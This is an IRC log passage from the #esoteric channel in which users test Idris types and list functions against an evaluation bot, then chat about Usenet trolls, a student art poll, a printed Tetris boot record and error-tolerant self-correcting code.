it after that. < 1394985559 793007 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fanZZy < 1394985603 316768 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Not the ZZ, I thought there was still Data.Uninhabited, but that got moved into Prelude sometime. < 1394985622 69046 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394985631 451531 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :doc Uninhabitated < 1394985631 934109 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No documentation for Uninhabitated < 1394985640 973769 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :doc Uninhabited < 1394985641 698865 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Type class 12Uninhabited < 1394985641 920366 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Methods: < 1394985641 979781 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 09uninhabited : 12Uninhabited 13t => 13t -> 12_|_ < 1394985641 979931 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : If I have a t, I've had a contradiction < 1394985641 980024 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : Arguments:14↵… < 1394985678 425639 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( :t absurd < 1394985679 614590 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Uninhabited.absurd : 12Uninhabited 13t => 13t -> 13a < 1394985724 373949 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394985730 151546 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(Which is just (FalseElim . uninhabited).) < 1394985781 816551 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :So, I took the opportunity to update my Idris, I’ll restart once more in a moment and hopefully we’ll have our imports again. < 1394985819 197322 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :oerjan: Also, yes, the State is almost certainly too strict for generating a Stream in its state. < 1394985868 174304 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :darn < 1394985919 326077 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394985920 531977 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394985947 831724 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net QUIT :Quit: Terminated < 1394985962 946112 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net JOIN :#esoteric < 1394985977 501894 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Hmm. < 1394986009 414831 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( :t State < 1394986009 526563 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :12Effect.State.State : 09Effect < 1394986009 748475 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Control.Monad.State.State : 12Type -> 12Type -> 12Type < 1394986023 507471 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Yay. < 1394986103 986212 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(Funny how those are opposite-colored.) < 1394986118 58702 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( State < 1394986118 169413 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't disambiguate name: Effect.State.State, Control.Monad.State.State < 1394986129 373829 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( Monad.State.State < 1394986129 870977 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09State : 12Type -> 12Type -> 12Type < 1394986144 594394 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( \x y => Monad.State.State x y < 1394986144 705855 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:2: error: expected: lambda expression < 1394986144 967462 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :\x y => Monad.State.State x y < 1394986145 24932 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : ^ < 1394986149 169436 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( \x, y => Monad.State.State x y < 1394986149 361249 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :\13x => \13y => 12StateT 13x 12Identity 13y : 12Type -> 12Type -> 12Type < 1394986182 976650 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( Effect < 1394986183 264705 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(13x : 12Type) -> 12Type -> (13x -> 12Type) -> 12Type : 12Type < 1394986200 662237 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :doc Stream < 1394986200 884712 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Data type 12Stream : 12Type -> 12Type < 1394986200 996536 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : An infinite stream < 1394986201 52622 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : Arguments: < 1394986201 52762 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 13__pi_arg : 12Type < 1394986201 52853 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Constructors:14↵… < 1394986282 146058 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( let fib 0 = 1; fib 1 = 1; fib n = fib (n-1) + fib (n-2) in fib (the Integer 3) < 1394986282 392829 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:14: error: expected: "$", < 1394986282 478855 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "$>", "&&", "&&&", "*", "***", < 1394986282 626173 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "+", "++", "-", "->", ".", "/", < 1394986282 683727 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "/=", ":+", ":-", "::", ":::", < 1394986282 683868 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : ":=", "<", "<$", "<$>", "<*>",14↵… < 1394986332 497323 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :someone said idris allowed ; in place of whitespace, they were confused. < 1394986359 586170 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :I don’t think you can have multiple clauses in let. < 1394986361 549919 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :or just another missing syntax i guess. < 1394986370 331345 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :wat. < 1394986374 988504 :MoALTz!~no@user-46-112-127-158.play-internet.pl JOIN :#esoteric < 1394986404 862490 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ok get back to me when idris is no longer subtly broken everywhere twh < 1394986415 599010 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :For multiple bindings, I think you have to nest lets. < 1394986435 591047 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( let next (a,b) = (b,a+b) in take 10 (iterate next (Z,S Z)) < 1394986435 858928 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:19:No such variable b < 1394986457 985631 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ooh iterate < 1394986485 706265 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :all is not lost < 1394986516 379726 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( let next = \(a,b) => (b,a+b) in take 10 (iterate next (Z,S Z)) < 1394986516 748297 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04[04(04004, 04104)04, 04(04104, 04104)04, 04(04104, 04204)04, 04(04204, 04304)04, 04(04304, 04504)04, 04(04504, 04804)04, 04(04804, 041304)04, 04(041304, 042104)04, 04(042104, 043404)04, 04(043404, 045504)04] : 12Vect 0410 12(12Nat12, 12Nat12) < 1394986543 749141 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( let next = \(a,b) => (b,a+b) in map head $ take 10 (iterate next (Z,S Z)) < 1394986544 9684 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:42:Can't disambiguate name: Prelude.List.head, Prelude.Stream.head, Prelude.Vect.head < 1394986559 577962 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :It’s fst, not head. < 1394986563 962827 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh hm < 1394986570 452752 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( let next = \(a,b) => (b,a+b) in map fst $ take 10 (iterate next (Z,S Z)) < 1394986572 617750 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04[04004, 04104, 04104, 04204, 04304, 04504, 04804, 041304, 042104, 043404] : 12Vect 0410 12Nat < 1394986589 703291 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :although i find it quite silly to have both overloading and type classes. < 1394986590 259104 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( let next = \(a,b) => (b,a+b) in take 10 (map fst (iterate next (Z,S Z))) < 1394986590 481564 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04[04004, 04104, 04104, 04204, 04304, 04504, 04804, 041304, 042104, 043404] : 12Vect 0410 12Nat < 1394986649 664813 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Type classes are useful for abstracting across, but sometimes you need a different signature. < 1394986663 53580 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( :t (<$>) < 1394986663 164448 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Applicative.<$> : 12Applicative 13f => (13f (13a -> 13b)) -> (13f 13a) -> 13f 13b < 1394986663 275211 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Effects.<$> : (12Eff 13m (13a -> 13b) 13xs (\13v => 13xs)) -> (12Eff 13m 13a 13xs (\13v1 => 13xs)) -> 12Eff 13m 13b 13xs (\13v2 => 13xs) < 1394986716 599224 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yes, but are those heads _really_ that incompatible. < 1394986722 456128 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t List.head < 1394986724 674146 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.List.head : (13l : 12List 13a) -> (09isCons 13l 12= 04True) -> 13a < 1394986730 611844 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t Stream.head < 1394986730 722963 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Stream.head : (12Stream 13a) -> 13a < 1394986731 314700 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( :t head < 1394986731 572866 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.List.head : (13l : 12List 13a) -> (09isCons 13l 12= 04True) -> 13a < 1394986731 743586 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Stream.head : (12Stream 13a) -> 13a < 1394986731 801200 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Vect.head : (12Vect (04S 13n) 13a) -> 13a < 1394986735 710065 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh < 1394986768 126083 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm i guess the List one doesn't quite fit. < 1394986769 397106 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :For a list, you need a proof it is nonempty. For a stream, there is no condition. For a Vect, it needs to be indexed by a successor. < 1394986800 618243 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :eek, someone restarted the dog. < 1394987040 956169 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :List.head is almost useless this way; the type for the proof is a poor choice for actual use. Generally, better to just pattern match and be done. < 1394987066 66835 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t group < 1394987066 291350 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable group < 1394987086 385409 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t groupBy < 1394987088 401584 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :No such variable groupBy < 1394987103 150162 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :those always give nonempty elements. < 1394987116 35947 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(if they exist somewhere) < 1394987176 916558 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Probably why nobody has added them yet: They’ll want a type involving nonempty lists. < 1394987204 989262 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ah < 1394987234 450309 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(And we don’t have a standard type for nonempty lists yet.) < 1394987251 466439 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :( :t index < 1394987251 681569 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Data.HVect.index : (13i : 12Fin 13k) -> (12HVect 13ts) -> 09index 13i 13ts < 1394987251 788755 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.List.index : (13n : 12Nat) -> (13l : 12List 13a) -> (09lt 13n (09length 13l) 12= 04True) -> 13a < 1394987251 896668 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Stream.index : 12Nat -> (12Stream 13a) -> 13a < 1394987251 953166 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Vect.index : (12Fin 13n) -> (12Vect 13n 13a) -> 13a < 1394987329 907110 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Note how HVect.index has Vect.index in its type. < 1394987785 918611 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Later < 1394988019 650729 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1394988319 601410 :itsy!~digital_w@87.112.13.30 PRIVMSG #esoteric :Does anyone here work at Cisco? I'm trying to get hold of someone... < 1394988591 843800 :ion!ion@heh.fi PRIVMSG #esoteric :Wtf? There’s a poll going on to choose one of the three pieces of “art” by students of the local polytechnic to be displayed on the wall of the building seen in the first photo. http://www.aamulehti.fi/Kulttuuri/1194884445935/artikkeli/aanesta+mika+tamk+n+opiskelijoiden+taideteos+paasee+talon+seinalle+.html < 1394989305 297930 :Slereahphone!~slereahph@80.10.159.214 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394989385 132274 :Slereahphone!~slereahph@80.10.159.214 JOIN :#esoteric < 1394989846 947852 :copumpkin!~copumpkin@unaffiliated/copumpkin NICK :yoda123 < 1394989893 106271 :yoda123!~copumpkin@unaffiliated/copumpkin NICK :copumpkin < 1394990358 410037 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 240 seconds < 1394990366 133236 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1394990430 728844 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://www.aamulehti.fi/Kulttuuri/1194884445935/artikkeli/aanesta+mika+tamk+n+opiskelijoiden+taideteos+paasee+talon+seinalle+.html < 1394990433 712304 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :whoops < 1394990453 549573 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ion: wow, wtf indeed < 1394990466 773187 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1394991003 650972 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Better than a giant film poster < 1394991134 292347 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :film posters generate revenue < 1394991184 750959 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :in America there is this weird thing where the adverts outside convenience stores have tiny print signs saying "Win these posters and other prizes, inquire within" as some kind of legal dodge < 1394991188 697433 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i,i legal doge < 1394991216 137791 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :much litigate < 1394991227 497371 :MoALTz!~no@user-46-112-127-158.play-internet.pl QUIT :Ping timeout: 252 seconds < 1394991364 383918 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394991398 860161 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394991526 609132 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394991538 187906 :MoALTz!~no@user-46-112-127-158.play-internet.pl JOIN :#esoteric < 1394991542 344026 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394991607 413271 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394991640 305470 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394991878 278232 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1394992038 798119 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394992307 527756 :ion!ion@heh.fi PRIVMSG #esoteric :kmc: Hah < 1394992859 740619 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394993011 831757 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 JOIN :#esoteric < 1394993221 501619 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I voted for #3 because I want to see more glitched textures in real life. < 1394995148 504779 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Which is better, unfounded hope or unfounded despair? < 1394995481 334849 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1394995498 456854 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1394995756 308832 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1394996432 601071 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394996473 961680 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1394997040 45520 :ion!ion@heh.fi PRIVMSG #esoteric :I voted for #1 because le trolling. It would be great to have a huge racist slogan on a prominent wall. < 1394997719 26901 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1394998627 776415 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oh, beautiful: there's something of a flamewar going on on comp.lang.c about whether a particular poster is or is not a bot < 1394998647 348210 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :either way, he/she/it seems to be a decent troll, comparing the length of the posts to the lengths of the resulting followups < 1394999204 124108 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Is there a name for that metric? < 1394999301 790620 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :not that I know of < 1394999322 694483 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :ofc it doesn't just measure how good a troll you are, that also depends on how useful the resulting discussion is < 1394999342 172829 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :a perfect troll can use one word to start an infinitely long conversation with no useful content whatsoever < 1394999379 988622 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :or by registering an account < 1394999409 572171 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(an old favourite, cf. http://www.criticalmiss.com/issue9/troll1.html ) < 1394999503 563061 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :huh, trolling has rules < 1394999687 163317 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net JOIN :#esoteric < 1394999694 753880 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394999717 763948 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Ping timeout: 252 seconds < 1395000008 353604 :MoALTz_!~no@user-46-112-127-158.play-internet.pl JOIN :#esoteric < 1395000169 233610 :MoALTz!~no@user-46-112-127-158.play-internet.pl QUIT :Ping timeout: 240 seconds < 1395000378 464246 :itsy!~digital_w@87.112.13.30 PRIVMSG #esoteric :ais523: is that troll Skybuck Flying? < 1395000393 101142 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :itsy: 88888 Dihedral < 1395000469 834170 :itsy!~digital_w@87.112.13.30 PRIVMSG #esoteric :ais523: ah okay. I noticed Skybuck (our Core War troll) is also trolling comp.lang.c < 1395000502 769232 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yeah, I don't think he/she's easily confusable for a markovbot, though < 1395000586 253713 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Excess Flood < 1395000685 763502 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1395000851 920236 :itsy!~digital_w@87.112.13.30 PRIVMSG #esoteric :ais523: Unfortunately he floods r.g.cw with pointless posts. It's a pretty quiet newsgroup so we have a very high noise/signal ratio :-( If you google him, he appears to have had a 10+ year trolling career and there's a few Youtube videos which make him appear completely crazy. < 1395000868 521011 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :itsy: such trolls normally change nym after a while < 1395000877 747358 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :to make themselves harder to killfile < 1395000994 541802 :itsy!~digital_w@87.112.13.30 PRIVMSG #esoteric :He's been using the same name for a while. Maybe using multiple names. < 1395001094 985277 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Huh, I recognize those names. < 1395001107 996617 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Haven't been reading clc or news in general for the last year or two.) < 1395001222 139351 :itsy!~digital_w@87.112.13.30 PRIVMSG #esoteric :comp.lang.forth also has a bad case of trolls :-( < 1395001687 855226 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Trolls don't succeed so much as communities fail. < 1395001781 713263 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395001994 780236 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Ping timeout: 252 seconds < 1395002055 771479 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395002060 774550 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Ping timeout: 252 seconds < 1395002674 4550 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :"Scan the barcode on page 31 or type the bytes on page 32 to get a working Tetris game as an X86 Master Boot Record." https://twitter.com/travisgoodspeed/status/445299465721614336 < 1395002681 931172 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I think this is the kind of publication I would enjoy writing for < 1395003216 803100 :lexande_!arapp@terpsichore.ugcs.caltech.edu JOIN :#esoteric < 1395003482 663450 :lexande!arapp@terpsichore.ugcs.caltech.edu QUIT :Disconnected by services < 1395003487 655803 :lexande_!arapp@terpsichore.ugcs.caltech.edu NICK :lexande < 1395003936 268646 :AnotherTest!~turingcom@94-224-18-253.access.telenet.be QUIT :Ping timeout: 252 seconds < 1395004009 932560 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 PRIVMSG #esoteric :kmc: haha. i wonder if anyone's ever wrote thos things so they'd work ok even with a few transcription errors < 1395004018 82961 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :good question < 1395004020 523565 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I thought about that a little < 1395004033 971663 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I think it's pretty hard; a lot of single byte errors will produce an invalid instruction < 1395004111 983017 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :you just need enough to implement error correction + self-modify < 1395004119 503192 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :there was a quine posted to Reddit a while ago that would reproduce the original program with any character deleted < 1395004119 559786 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but allowing for substitutions is much harder < 1395004137 777724 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395004155 892155 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yeah, the best technique in practice is probably to add error correction code and hope that that bit of code works correctly < 1395004169 822355 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it might be interesting to, say, have two copies of the error correction code that run in parallel < 1395004180 693794 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and start off by trying to correct errors in each other < 1395004188 408747 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :sort-of like cooperative Core Wars < 1395004206 360683 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I wouldn't be surprised if JPL built those already < 1395004304 718211 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Ping timeout: 252 seconds < 1395004644 588312 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :In other news, mathematica is fun http://46.4.207.77/solar.gif < 1395004857 37038 :itsy!~digital_w@87.112.13.30 QUIT :Write error: Connection timed out < 1395004888 935321 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 QUIT :Ping timeout: 245 seconds < 1395004955 765927 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ooh < 1395005032 626086 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Except blatantly not to scale, sun should certainly move across more frequently than it is relative to season change < 1395005257 143035 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net QUIT :Ping timeout: 240 seconds < 1395005402 690079 :JZTech101!jztech101@botters/jztech101 NICK :jzmitch < 1395005416 488635 :jzmitch!jztech101@botters/jztech101 NICK :JZTech101 < 1395005591 920506 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 JOIN :#esoteric < 1395005768 949846 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 PRIVMSG #esoteric :survivable code is an interesting thing. it's like how the occasional tendency of mutation in DNA is adaptive. < 1395007315 309535 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: Leaving < 1395007334 338317 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395007378 176693 :Slereahphone!~slereahph@80.10.159.214 QUIT :Remote host closed the connection < 1395007449 654980 :Slereahphone!~slereahph@80.10.159.214 JOIN :#esoteric < 1395007519 349236 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395007520 519405 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395007633 639404 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1395009055 167161 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1395009295 348089 